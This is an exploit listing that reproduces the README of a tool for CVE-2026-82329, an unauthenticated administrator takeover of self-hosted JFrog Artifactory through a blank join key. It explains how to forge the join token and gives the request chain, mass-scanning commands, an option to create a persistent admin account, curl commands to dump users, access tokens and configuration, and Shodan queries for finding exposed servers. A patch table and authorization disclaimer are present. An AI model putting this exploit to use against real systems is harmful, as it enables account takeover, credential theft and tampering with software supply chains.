Sploitus

Exploit for CVE-2026-82329

githubexploit Β· 2026-09-02

Exploit Code

README211 lines
## https://sploitus.com/exploit?id=DC7D9D0A-60AF-5543-8EBC-1EF85E277FFE
# artifactory.py


  


```
╔══════════════════════════════════════════════════════════╗
β•‘  artifactory  Β·  CVE-2026-82329 unauth admin takeover    β•‘
β•‘  mitsec       Β·  https://x.com/ynsmroztas                β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
```

**CVE-2026-82329** β€” JFrog Artifactory (self-hosted) unauthenticated join-JWT  
β†’ SERVICE `admin` token β†’ platform **`applied-permissions/admin`** access token.

CVSS **9.8** Β· CWE-287 Β· CISA KEV Β· exploited in the wild.

> Authorized testing only. Do not run this against systems you do not own
> or do not have written permission to test.

---

## What it does

Default self-hosted installs trust a **blank join key**.

```
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 Γ— 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
```

| Step | Request | Result |
|------|---------|--------|
| 1 | Forge HS256 join JWT (`iat` fresh, `skip_node_registration=true`) | known HMAC secret |
| 2 | `POST /access/api/v1/registry/join` | **201** SERVICE token `scp=admin` |
| 3 | `POST /access/api/v1/tokens` | **200** admin token `scp=applied-permissions/admin` `aud=*` |
| 4 | `GET /artifactory/api/system/configuration` | admin-only proof (unauth = 401) |

Cloud-hosted JFrog is patched. Self-hosted only.

| Branch | Vulnerable ≀ | Fixed |
|--------|--------------|-------|
| 7.111 | 7.111.20 | **7.111.21** |
| 7.117 | 7.117.27 | **7.117.28** |
| 7.125 | 7.125.19 | **7.125.20** |
| 7.133 | 7.133.28 | **7.133.29** |
| 7.146 | 7.146.37 | **7.146.38** |
| 7.161 | 7.161.19 | **7.161.20** |

Access fix line: **7.191.14**.

---

## Install

```bash
# stdlib only β€” no pip
python3 artifactory.py -h
```

TLS verification is **off by default** (self-signed Artifactory is normal).  
No extra flag.

---

## Usage

```bash
# single host
python3 artifactory.py -u https://artifactory.example.internal:8082

# print minted admin token
python3 artifactory.py -u https://TARGET:8082 --token

# list / pipeline (httpx, shodan, subfinder style)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Pro / Enterprise only β€” persist a local admin (destructive)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
```

### Output

```
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (patched / no blank key)
[FAIL]  https://dead:8082     unreachable
```

| Tag | Meaning |
|-----|---------|
| `VULN` | Blank join accepted + admin proof (`configuration` or token list = 200) |
| `SAFE` | Join rejected β€” patched, extra join keys set, or not Access |
| `INFO` | Join minted, proof endpoints not 200 β€” inspect manually |
| `FAIL` | Network / timeout |

`--token` prints the Bearer value. That **is** the takeover β€” a login user is optional.

`--create-admin` often returns **400 on OSS** (`PUT /artifactory/api/security/users` is Pro).  
The admin token still works. Persistence is not required for a valid finding.

---

## After a hit β€” use the token

Replace `TARGET` and paste the token from `--token`.

```bash
TOKEN='eyJ...'          # output of --token
B='https://TARGET:8082'

# version / edition
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# user directory (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# every access token on the instance
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# repository inventory
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"
```

Other useful admin-only reads (do not write unless authorized):

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"
```

UI: Platform β†’ login with **Access Token**, or send  
`Authorization: Bearer ` on every request.

### Optional persistent user (Pro / Access v2)

```bash
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"auditor@poc.local","password":"ChangeMe_1Aa","admin":true}'
```

Password policy 400 β‰  not vulnerable. Token already has `aud=*`.

---

## Recon

```
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# common ports
8081  8082  8040  8046  443
```

Tool strips `/artifactory` `/ui` `/webapp` from `-u` and talks to the Access router on the same origin.

---

## Why `--create-admin` is not the finding

| Surface | OSS | Pro / Enterprise |
|---------|-----|------------------|
| Mint admin access token | yes | yes |
| Read config / list tokens / repos | yes | yes |
| `PUT /artifactory/api/security/users` | 400 Pro-only | 200/201 |
| `POST /access/api/v2/users` | version / policy dependent | 201 |

Report impact as: **unauthenticated platform administrator token**.  
User creation is a follow-up, not the root issue.

---

## References

- [NVD β€” CVE-2026-82329](https://nvd.nist.gov/vuln/detail/CVE-2026-82329)
- [JFrog security advisories](https://docs.jfrog.com/releases/docs/jfrog-security-advisories)
- [Self-managed releases / patches](https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases)
- Lab + patch diff: [dinosn/cve-2026-82329-jfrog-artifactory](https://github.com/dinosn/cve-2026-82329-jfrog-artifactory)

---

## Disclaimer

This repository is a **validator** for systems you are authorized to test.  
Minting tokens, listing users, or creating accounts on third-party infrastructure without permission is illegal.

Patch: upgrade to the fixed build for your branch, set a real join key, rotate tokens minted after disclosure.

---

`mitsec` Β· [@ynsmroztas](https://x.com/ynsmroztas)
)